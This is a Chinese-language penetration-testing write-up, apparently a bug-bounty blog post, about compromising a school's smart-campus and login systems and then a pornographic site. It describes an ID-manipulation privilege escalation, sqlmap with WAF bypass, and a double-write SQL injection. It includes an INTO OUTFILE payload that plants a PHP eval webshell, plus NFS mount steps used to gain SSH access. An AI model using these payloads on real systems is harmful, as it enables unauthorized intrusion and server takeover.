本来是之前的一个小通杀在找同系统的站点想刷点分,fofa啥的搜过了,想着谷歌语法再搜搜标题看看有没有漏的站点。
结果就发现了此次测试的站点
很奇怪,不是我搜的模板是另一个学校的后台管理登录界面,然后起初没在意这块的内容打算继续找通杀的系统刷分,后面发现没有了模板才继续开始测这块的点。去掉https://xxx.edu.cn/login.php
的路径访问主域名看看其它功能点。
一个智慧校园系统
还有个身份认证平台,看界面和智慧系统挺像的,测测弱口令,提示密码错误,但是密码错误的同时会提示“是否注册一个账户”迅速注册一个去
注册成功的一瞬间就跳转,然后检查网络包发现一个中有ID值
浏览详细信息再分析一下ID值的构成试试越权。
t_id=15069097719738416
再注册一个账户继续查看另一个账户返回的网络包。
t_id=1506909771973841
8,t_id值末尾数增加2,所以猜测每注册一个个用户则id值会加2,并且这块的id值这串get请求直接在url栏是看不见的只能查看网络包,在网络包里才能看见,所以边把t_id=15069097719738416
往后降两位试试能不能越权,这边往后降两位是因为注册时间原因,花某注册的时候应该是那个时间段唯一一个注册人,所以往前把id值加两位应该是没人的,所以该成t_id=15069097719738412
试试。
成功越权至别人账户。
逻辑漏洞+1
随后发现在课程选择中存在【课程查询功能】
随便点击一个课程进行查看
发现class_mate_id=11
的一个值,尝试联合注入。
这边BP乱码了,实际显示数据库错误字样,打包请求,sqlmap一把梭,这边是有小waf的用sqlmap内置的绕waf就能绕过。
成功跑出,Sql注入+1
Getshell:
随后回到起初的那个登录系统
对输入的账号是有加密的,起初js逆向了一下加密函数,然后跑了一下口令字典,但是没跑出来。
然后打算找找别的思路。
用户名输入user’
查看回显
网站回显失败,然后双写后成功绕过
Sql注入+2,本来想测到这里就结束的,但是前面js逆向的时候审计代码发现了一个意外惊喜。
两处都给出了绝对路径,注释点应该是程序员的代码习惯,下面也要引用路径所以提前打了注释,有sql注入还有绝对路径,直接试试写入shell。
user un union ion selselectect 1,2,3,4,<?php @eval($_POST[flower]);?>,6,7 into outfile E:/wwwroot/lj/user/flowers.php
查看回显,但是网站依旧显示数据库操作错误。
双写能绕前面已经测试过了,所以猜测问题出在了shell上,去HEX编码网站编写码试试。
随后就是直接写入。
某处回显成功,蚁剑连接!
Getshell+1,这次不打包提交了,因为系统是两处系统,sql点也是两点。前面的小洞打包交一个,后面的getshell交一个就ok了。
这个站点和前面的学院站点一样也是纯属偶遇,测完前面几个功能点,还在继续在这个学院网站上找功能点测,然后就晃悠到了留言板。
突然发现一个“广告大师”,立即访问这个站点看看。
一个色情站点。。。,学校的管理员都不审核留言的。本来想直接跑路的,去继续挖别的洞,但是转念一想这样的留言肯定是批量留言的,而一般这种非法网站也会有黑帽工具,批量给站点挂黑链的,如果能打完连到桌面,如果有挂黑链工具,那就可以又收集一波已被挂链的网站去交src刷分,所以就开始打了,现在非法站点的安全做的一个比一个厉害,不知道能不能拿下,然后就开始浏览功能点,做信息收集了。
信息真是少的可怜。。。。Nmap扫下试试。
有nfs服务
然后一个似曾相识的感觉就来了,仔细一想原来之前写过一个赌球诈骗网点的网站也是这个服务,又遇到了,所以复现一波。因为此前已经安装国nfs服务了所以这边不需要重新安装,安装命令为:• apt-get install nfs-comm 然后连接nfs,再创建公钥发过去,然后ssh连接就ok了
showmount -e xxx.xx.x.x
mkdir /tmp/xxx.xx.x.x
mount -t nfs xxx.xx.x.x:/ /tmp/xxx.xx.x.x/
cd /tmp/xxx.xx.x.x/
注:再实战中还要注意ip地址是否为真实地址。
成功连接
前面整体难度适中,学校有小waf但是waf还是有待加强,从留言板也能看出来学校运维其实不是很用心,后面的非法站点也没什么说的不是win系统的,本来以为是win系统才打的。
技术交流加下方vx